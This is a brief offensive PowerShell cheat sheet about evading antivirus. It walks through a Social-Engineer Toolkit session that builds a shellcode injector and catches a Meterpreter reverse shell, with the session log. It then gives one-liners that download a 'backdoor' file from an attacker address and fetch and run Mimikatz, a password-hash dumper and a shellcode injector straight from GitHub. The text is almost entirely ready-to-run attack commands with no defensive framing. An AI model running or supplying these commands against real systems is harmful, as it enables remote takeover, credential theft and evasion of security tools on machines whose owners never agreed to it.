Powershell tricksBypass AV

PowerShell.exe -ExecutionPolicy Bypass -File ./runme.ps1 

Select from the menu:     1) Social-Engineering Attacks    2) Fast-Track Penetration Testing    3) Third Party Modules    4) Update the Metasploit Framework    5) Update the Social-Engineer Toolkit    6) Update SET configuration    7) Help, Credits, and About    99) Exit the Social-Engineer Toolkit  set> 1  ..SNIP...   Select from the menu:     1) Spear-Phishing Attack Vectors    2) Website Attack Vectors    3) Infectious Media Generator    4) Create a Payload and Listener    5) Mass Mailer Attack    6) Arduino-Based Attack Vector    7) SMS Spoofing Attack Vector    8) Wireless Access Point Attack Vector    9) QRCode Generator Attack Vector   10) Powershell Attack Vectors   11) Third Party Modules    99) Return back to the main menu.  set> 10  The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by preventative technologies.     1) Powershell Alphanumeric Shellcode Injector    2) Powershell Reverse Shell    3) Powershell Bind Shell    4) Powershell Dump SAM Database    99) Return to Main Menu  set:powershell>1 set> IP address for the payload listener: 192.168.200.159 set:powershell> Enter the port for the reverse [443]:4444 [*] Prepping the payload for delivery and injecting alphanumeric shellcode... [*] Generating x86-based powershell injection code... [*] Finished generating powershell injection bypass. [*] Encoded to bypass execution restriction policy... [*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/ set> Do you want to start the listener now [yes/no]: : yes  ..SNIP...  [*] Processing /root/.set/reports/powershell/powershell.rc for ERB directives. resource (/root/.set/reports/powershell/powershell.rc)> use multi/handler resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (/root/.set/reports/powershell/powershell.rc)> set lport 4444 lport => 4444 resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (/root/.set/reports/powershell/powershell.rc)> exploit -j [*] Exploit running as background job. msf exploit(handler) >  [*] Started reverse handler on 0.0.0.0:4444  [*] Starting the payload handler... [*] Sending stage (769024 bytes) to 192.168.200.158 [*] Meterpreter session 1 opened (192.168.200.159:4444 -> 192.168.200.158:49818) at 2014-10-23 18:17:35 +0800  msf exploit(handler) > sessions   Active sessions ===============    Id  Type                   Information                               Connection   --  ----                   -----------                               ----------   1   meterpreter x86/win32  WIN-M49V8M0CSH2/server @ WIN-M49V8M0CSH2  192.168.200.159:4444 -> 192.168.200.158:49818 (192.168.200.158) 

powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.200.159/backdoor','backdoor.bat') 

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes 

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts 

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode –help 

c:/windows/syswow64/WindowsPowerShell/v1.0/powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1'); Invoke-Shellcode -Shellcode 0x90,0x90,0x90 ...